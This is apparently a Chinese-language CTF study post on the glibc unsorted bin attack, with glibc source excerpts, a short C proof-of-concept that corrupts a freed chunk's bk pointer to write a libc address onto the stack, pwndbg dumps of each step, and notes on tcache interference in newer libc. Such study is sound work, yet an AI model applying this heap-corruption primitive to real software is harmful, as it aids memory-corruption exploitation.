Contents
  1. 1. Unsorted Bin
  2. 2. Unsorted Bin Attack
    1. 2.1. 原理
    2. 2.2. 用处
    3. 2.3. 引例
  3. 3. 由tcache引发的新知

Unsorted Bin

  • chunk分割,剩余>MINSIZE
    • 放入unsorted bin
  • 释放一个不属于fastbin的chunk,且该chunk不与top chunk紧邻
    • 放入unsorted bin
  • malloc_consolidate时,合并后的chunk不与top chunk紧邻
    • 放入unsorted bin
  • malloc时,fastbin smallbin都找不到对应大小的chunk
    • 从unsorted bin中寻找
      • 取出的chunk大小刚好满足,直接返回给用户
      • 否则,将这些chunk分别插入对应的bin中

        Unsorted Bin Attack

        原理

        _int_malloc中,当一个unsorted bin取出时,会将bck->fd的位置写入本unsorted bin的位置
        1
        2
        3
        4
        5
        /* remove from unsorted list */
        if (__glibc_unlikely (bck->fd != victim))
        malloc_printerr ("malloc(): corrupted unsorted chunks 3");
        unsorted_chunks (av)->bk = bck;
        bck->fd = unsorted_chunks (av);

所以如果我们控制了bk,就可以将unsorted_chunks(av)写到任意地址。

用处

  • 通过修改循环的次数使得程序可以执行多次循环
  • 修改heap中的global_max_fast来使得更大的chunk可以被视为fastbin –> Fast Bin Attack

    引例

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>

    int main()
    {
    char *ptr = NULL, *controllable_chunk, *trigger;

    controllable_chunk = malloc(400);
    malloc(10); // 防止与top chunk合并

    free(controllable_chunk);
    // controllable_chunk->bk = target - size_t*2
    ((void **)controllable_chunk)[1] = &ptr - 2;

    // 注意,这里要和free的size相同,否则会引发异常
    trigger = malloc(400);

    fprintf(stderr, "ptr: %p\n ", ptr);

    return 0;
    }

运行结果

1
ptr: 0x7ffff7dd1b78

gdb调试
第一次malloc(400)后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> heap
0x602000 PREV_INUSE {
prev_size = 0,
size = 417,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6021a0 PREV_INUSE {
prev_size = 0,
size = 134753,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

malloc(10)后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> heap
0x602000 PREV_INUSE {
prev_size = 0,
size = 417,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6021a0 FASTBIN { ==>将controllable_chunk与top chunk隔开
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x20e41
}
0x6021c0 PREV_INUSE {
prev_size = 0,
size = 134721,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

free(controllable_chunk)后

1
2
3
4
5
6
pwndbg> x/10gx 0x602000
0x602000: 0x0000000000000000 0x00000000000001a1 ==>size
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 ==>fd / bk
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000

将controllable_chunk的bk修改为 &ptr-2

1
2
3
4
5
6
7
8
pwndbg> p &ptr
$2 = (char **) 0x7fffffffde00
pwndbg> x/10gx &ptr-2
0x7fffffffddf0: 0x00007fffffffdf00 0x00000000004006a9
0x7fffffffde00: 0x0000000000000000 0x0000000000602010 ==>controllable_chunk地址
0x7fffffffde10: 0x00007fffffffdf00 0x5dbe72caae885900
0x7fffffffde20: 0x0000000000400710 0x00007ffff7a2d830
0x7fffffffde30: 0x0000000000000001 0x00007fffffffdf08
1
2
3
4
5
6
pwndbg> x/10gx 0x602000
0x602000: 0x0000000000000000 0x00000000000001a1
0x602010: 0x00007ffff7dd1b78 0x00007fffffffddf0 ==>bk被修改
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000

到最后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> heap
0x602000 PREV_INUSE {
prev_size = 0,
size = 417,
fd = 0x7ffff7dd1b78 <main_arena+88>,
bk = 0x7fffffffddf0, ==>成功被修改
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6021a0 FASTBIN {
prev_size = 416,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x20e41
}
0x6021c0 PREV_INUSE {
prev_size = 0,
size = 134721,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

我写的似乎没有wiki美观...可以转看wiki

由tcache引发的新知

对于高版本的libc,存在tcache机制,malloc 从 unsorted bin 取 chunk 的时候,如果对应的 tcache bin 还未装满,则会将 unsorted bin 里的 chunk 全部放进对应的 tcache bin,然后再从 tcache bin 中取出。那么问题就来了,在放进 tcache bin 的这个过程中,malloc 会以为我们的 target address 也是一个 chunk,然而这个 “chunk” 是过不了检查的,将抛出 “memory corruption” 的错误:

1
2
3
4
5
6
7
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize_nomask (victim)
> av->system_mem, 0))
malloc_printerr ("malloc(): memory corruption");

那么要想跳过放 chunk 的这个过程,就需要对应 tcache bin 的 counts 域不小于 tcache_count(默认为7),但如果 counts 不为 0,说明 tcache bin 里是有 chunk 的,那么 malloc 的时候会直接从 tcache bin 里取出,于是就没有 unsorted bin 什么事了:

1
2
3
4
5
6
7
if (tc_idx < mp_.tcache_bins
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
&& tcache
&& tcache->entries[tc_idx] != NULL)
{
return tcache_get (tc_idx);
}

这就造成了矛盾,所以我们需要找到一种既能从 unsorted bin 中取 chunk,又不会将 chunk 放进 tcache bin 的办法,看似是不可能的,但是 在tcache attack——tcache poisoning中,最后counts被改为0xff
于是就会执行else分支:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#if USE_TCACHE
/* Fill cache first, return to user only if cache fills.
We may return one of these chunks later. */
if (tcache_nb
&& tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (victim, tc_idx);
return_cached = 1;
continue;
}
else
{
#endif
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;

直接取出了chunk并返回,可以用于泄露unsorted bin的头地址

以上参考:
CTF-wiki
unsorted bin attack –Ex
CTF-all-in-one